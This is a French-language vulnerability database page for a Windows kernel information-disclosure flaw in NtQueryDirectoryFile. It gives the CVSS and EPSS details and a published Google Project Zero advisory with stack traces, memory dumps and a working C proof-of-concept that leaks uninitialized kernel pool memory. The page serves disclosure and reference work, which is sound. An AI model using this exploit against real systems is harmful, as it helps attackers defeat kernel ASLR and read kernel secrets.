Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.0 |
4.7 |
MEDIUM |
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
4.7 |
|
AV:L/AC:M/Au:N/C:C/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 43165
Date de publication : 2017-11-20 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1361
We have discovered that the nt!NtQueryDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients on Windows 10, due to uninitialized fields in the output structure being copied to the application.
The problem manifests itself for information classes FileBothDirectoryInformation and FileIdBothDirectoryInformation, which use the following (or similar) structure:
--- cut ---
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
--- cut ---
We have found that for certain files, such as C:\Windows\explorer.exe, the "ShortNameLength" and "ShortName" fields are not initialized at any point before being passed to a ring-3 client. This leaves 25 bytes of leftover kernel pool memory which can be acquired in a single system call by a malicious local program.
The pool allocation used to store the above structure is made in luafv!LuafvAllocatePool. The act of copying uninitialized kernel memory to user-mode was originally detected under the following stack trace:
--- cut ---
a0e90a28 9d2fb7a6 nt!memcpy+0x35
a0e90a50 9d2fecf4 luafv!LuafvCopyDirectoryEntry+0x52
a0e90a98 9d2fb577 luafv!LuafvCopyNextDirectoryEntry+0x365c
a0e90b14 9d2f8afc luafv!LuafvMergeStoreDirectory+0x93
a0e90b60 9d2f8118 luafv!LuafvQueryStoreDirectory+0xdc
a0e90b7c 89a5328d luafv!LuafvPreDirectoryControl+0xa8
90289adc 8e2bf040 FLTMGR!FltpPerformPreCallbacks+0x2ad
WARNING: Frame IP not in any known module. Following frames may be wrong.
a0e90c20 89a52bf3 0x8e2bf040
a0e90c58 89a52a0b FLTMGR!FltpPassThrough+0x163
a0e90c80 81cb6f53 FLTMGR!FltpDispatch+0x9b
a0e90c9c 81f0c273 nt!IofCallDriver+0x43
a0e90cf0 81f0ac7f nt!IopSynchronousServiceTail+0x133
a0e90d20 81d51c97 nt!NtQueryDirectoryFile+0x5f
a0e90d20 77a74d10 nt!KiSystemServicePostCall
00cadc48 77a727ba ntdll!KiFastSystemCallRet
00cadc4c 747ac7f0 ntdll!NtQueryDirectoryFile+0xa
00cadf58 747ac486 KERNELBASE!FindFirstFileExW+0x360
00cadf78 747b3d18 KERNELBASE!FindFirstFileW+0x16
00cae234 00d48a65 KERNELBASE!GetLongPathNameW+0x208
--- cut ---
when smartscreen.exe called the documented GetLongPathNameW API against "C:\Windows\explorer.exe".
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for luafv.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,..
00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,..........
00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A.....
00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... .......
00000040: e1 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 .....EEEEEEEEEEE
00000050: 45 45 45 45 45 45 45 45 45 45 45 45 45 45 65 00 EEEEEEEEEEEEEEe.
00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r...
00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,..
00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,..........
00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A.....
00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... .......
00000040: e1 00 00 00 00 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d .....===========
00000050: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 65 00 ==============e.
00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r...
00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#define FileBothDirectoryInformation ((FILE_INFORMATION_CLASS)3)
extern "C"
NTSTATUS WINAPI NtQueryDirectoryFile(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_Out_ PVOID FileInformation,
_In_ ULONG Length,
_In_ FILE_INFORMATION_CLASS FileInformationClass,
_In_ BOOLEAN ReturnSingleEntry,
_In_opt_ PUNICODE_STRING FileName,
_In_ BOOLEAN RestartScan
);
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
// Open the disk device.
HANDLE hDir = CreateFile(L"C:\\Windows", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDir == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}
// Obtain the output data, assuming that it will fit into 1024 bytes.
IO_STATUS_BLOCK iosb;
UNICODE_STRING FileName;
RtlInitUnicodeString(&FileName, L"explorer.exe");
BYTE OutputBuffer[1024];
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
NTSTATUS st = NtQueryDirectoryFile(hDir, NULL, NULL, NULL, &iosb, OutputBuffer, sizeof(OutputBuffer), FileBothDirectoryInformation, TRUE, &FileName, FALSE);
if (NT_SUCCESS(st)) {
PrintHex(OutputBuffer, iosb.Information);
} else {
printf("NtQueryDirectoryFile failed, %x\n", st);
}
CloseHandle(hDir);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server >> Version 1709
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version *
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
References